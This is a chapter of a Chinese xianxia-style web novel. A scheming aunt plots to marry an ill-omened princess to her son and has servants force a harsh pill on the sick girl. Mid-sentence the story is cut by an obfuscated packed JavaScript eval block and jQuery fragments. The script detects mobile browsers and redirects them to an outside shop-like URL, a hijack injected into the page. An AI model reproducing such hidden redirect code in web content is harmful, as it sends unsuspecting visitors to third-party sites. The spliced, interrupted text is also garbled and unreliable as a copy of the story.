“怎么不成?”吉丹妍反问了一句。
这个念头早已在她心中盘旋了千百遍。
“她算是哪门子公主?一个灾星,被厌弃、被放逐,连姓都随了母族的公主?哼,国主恐怕巴不得有人接了这个烫手山芋!”
“只要圣旨一下,她就永远是我们家的人,从此生死荣辱皆在我们掌中。”
司徒典听了她这番话,却是没有立刻发表意见,沉吟了半晌才问:“你不是不喜欢那丫头么?怎么还让国主赐婚,让她嫁给我们颂儿?”
吉丹妍冷哼了一声:“我喜不喜欢她是一回事,她的身份样貌又是另一回事。”
冷静下来之后她重新分析利弊,劝说司徒典:“你想想,再怎么说她也有个公主的名号,若非她是不祥之身,这一门婚事难道还轮得到我们颂儿?”
说到这里她的语气里不自觉流露出些许嫌弃之意:“你不过是个城主,颂儿也不过是个城主之子,怎么可能高攀得上公主?好在吉时归那丫头是个例外,我们把她收了,说不定国主还会感激你帮他解决了这个心腹大患,这对你的仕途来说也是大有裨益。”
司徒典当然也明白,颂儿天资不足,以他的情况,将来就是娶个城主之女都算勉强,能够迎娶公主,的确算是高攀了。
若非时归情况特殊,他们家确实捡不着这个便宜。
可转念一想,他又觉得此事不妥:“那丫头出生时天象不吉,天下人都说她是灾星,她也就徒有个公主的虚名。倘若颂儿娶了她,她真给我们带来灾难怎么办?”
吉丹妍摇了摇头,“我心里清楚,以我们颂儿的天资,将来他就算是继承你的城主之位都算勉强。可他若是成了驸马,我再进京去寻皇后,在京中走动走动,颂儿还愁没有官做么?”
她端起桌上的茶杯喝了一口,“这么多年,时归这丫头照顾颂儿也照顾惯了,他们成婚以后就让她在后院待着继续照顾他。到时候我们再给颂儿纳平妻、娶侧室,就算那丫头当真是个灾星,也碍不着我们颂儿什么。大不了等颂儿在京城根基稳固后,我们把她处理了就是。”
司徒典认真听着,觉得颇有几分道理,调笑道:“你看看你,方才还因为她气成那个样子,现在又打算让她做儿媳妇了。”
吉丹妍又冷笑了几声:“今日颂儿与人起争执,说到底还不是为了她?只要我们求国主把她赐给颂儿,今后也就没人敢打她的主意,我们颂儿也可以安心了。”
司徒典认真地思索了一番,然后赞许地点了点头。
他们夫妻两个就这样把时归的婚事给敲定了,只待合适的时间,司徒典便上书国主。
这件事情过后没多久,时归突然生了一场大病,病得连床都起不来,自然也就无法继续照顾司徒颂了。
平时上下学司徒颂都由时归接送,读书认字也需要她陪着,否则他就静不下心来,在书房里一分钟都坐不住。
可时归这一病就是大半个月,躺在床上将养了十几天都不见起色。
大夫说她这病是时气所致,原本并不严重,调养几日便可,但这丫头平时忧思过度,伤了元气,所以才会一病不起。
吉丹妍瞅着病怏怏的吉时归,心里又急又气。
她这一病不要紧,要紧的是司徒颂天天吵着要见他表姐,将府里闹得鸡犬不宁不说,还耽误了学业。
更要紧的是,吉时归忧思过度伤了元气的事儿不知道被谁嘴快传了出去。
这么小的人哪来什么忧思过度?这不是变相说她司徒家没有好好照顾公主么?
在听到城里风言风语的那一天,吉丹妍把所有照顾时归的仆人都打了一顿,紧接着愤怒地冲到了时归的住处去。
掀开门帘便见到时归正闭着眼睛蜷缩在厚厚的被子里,一张小脸烧得通红,看起来的确是病得不轻。
吉丹妍见状蹙起眉头停在了门口,用手帕掩了掩口鼻,然后在距离门边不远处的圆凳上坐下。
“这么多天了还没好利索?”她的声音里有掩不住的不耐烦:“一场风寒拖拖拉拉的,治了大半个月了还不见好。”
她虽没说什么重话,但时归的乳母以及侍女们听着都觉刺耳,纷纷低下了头,大气也不敢出。
吉丹妍朝身边的丫鬟递了个眼色,那丫鬟立刻从怀里摸出个盒子,当着众人的面打开。
那盒子里躺着一枚龙眼大小的丹丸,看起来油润润的,散发着一股霸道刺鼻的药味儿。
“喂她吃下去。”吉丹妍对秀娘吩咐道:“这是宫里流出来的丹药,专解寒气,吃了明早就能起身。”
瞥了一眼躺在床上的时归,她又没好气地补了一句:“省得这样拖拖拉拉,耽误颂儿的功课,也省得阖府上下不得安生。”
秀娘低头看着那枚红得发亮的丹药,手有些抖,“夫人,公主她年纪还小,身子虚,这丹药的药性恐怕太烈……”
吉丹妍冷哼了一声,“药性不烈怎么能治病?难道由着她这么娇贵下去?”
她已经没耐心了,从圆凳上站起身来,“哪怕是宫里的真公主也未必这么娇气,一场风寒而已,躺在床上大半个月都起不来,闹得全府上下鸡犬不宁。”
她还想继续说些什么,但时归在这时候睁开眼睛,转头望向了她。
“姨母,”她唤了吉丹妍一声:“我不想吃这个丹药。”
吉丹妍彻底暴怒了:“你还要闹到什么时候才算完?一场小病养了这么久还不见好!”
她往前走了几步,似乎是想冲到时归的床前指着她的鼻子骂,但是又顾忌到她得的是风寒,这病是会传染的,于是在暴冲了几步之后又停了下来。
她再次用帕子掩住自己的口鼻,“颂儿天天吵着要见你,书也不读了,饭也不肯吃,你就算不为自己着想,好歹也为颂儿想一想吧?非要闹得鸡犬不宁才满意么?”
时归不吭声了,也不再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241452|197755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看吉丹妍,沉默地躺了回去。
吉丹妍转头冲秀娘吼了一声:“还不快去!”
秀娘狠了狠心,捏住时归的下巴,把那红色丹药塞进了她的嘴里。
丹药入口即化,很快弥漫出一股辛辣苦涩的味道。
时归被那味道呛得咳嗽了几声,吉丹妍连忙挥手,让守在一旁的丫鬟仆人上前,一起摁住时归,用力捂住她的嘴。
“这丹药来之不易,可千万别让她吐了,吐出来不就浪费了?”盯着时归将化开的丹药全都咽了下去,吉丹妍这才让那些仆从退开:“好生照看着,若明日她还不见好,仔细你们的皮。”
说完这句话,她不再看躺在床榻上费力喘气的时归,转身向外走去。
那丹药的药力的确很霸道,第二天时归的烧就退了下去,整个人看起来有气色了许多。
眼看着她的身子大好了,司徒颂开心得不得了,变得比从前还要黏人,不管去哪儿都要带着她。
可是只有时归自己知道,那丹药治标不治本,只是用强悍的药力让她退烧而已,这是一种损耗元气快速见效的法子,实际上她的底子变得比生病时还要虚弱。
最显著的表现就是她现在开始畏寒。
才刚刚入冬,她的房间里就必须烧好几个火盆子,否则她就会冷得睡不着觉。
身体里的那股寒意就像是从骨头缝里钻出来,止不住地往外冒,虽然病已经好了,但她总感觉浑身都漏风,年轻的身体像是一扇破旧的门窗,抵御不住冬日的严寒。
当然了,这件事情只有她自己知道,她没办法说给任何人听,说了就是矫情。
时间在滴水成冰的日子里一点点流逝。
这年冬天重安城有了一件热闹的事。
城中最大的拍卖阁放出消息,说是今年开春的时候,以天枢为首的北域十三国和以扶桑为首的东域九国联合起来探索南域星光海,二十二个国家的顶尖修士联合起来在星光海探寻了大半年,到了今年秋天的时候才打道回府。
据说这些修士在星光海有了许多了不得的发现,还找到了许多世所罕见的珍宝。
那些珍宝大部分都入了各国的国库,但也有小部分流传到了民间。
而今年冬至重安城拍卖阁要拍卖的一件珍宝,据传就来自于这片大陆上最神秘的地方南域星光海。
司徒颂对这次拍卖极感兴趣,早在一个月前就关注着拍卖阁的消息,确定了拍卖会的时间后,他立马着人为自己定了一间雅阁,势必要在当日拍下那件来自星光海的珍宝。
拍卖会来临那日,他软磨硬泡地拉着时归出了门。
时归不喜欢那样的场合,加上天气一日比一日冷,重安城已经连着下了三天的大雪,她本就畏寒,这大雪一下,她就更加不想出门。
无奈司徒颂缠得紧,几乎是撒泼打滚地求她同他一起去拍卖会,她没法拒绝,只好答应他,同他一起出了门。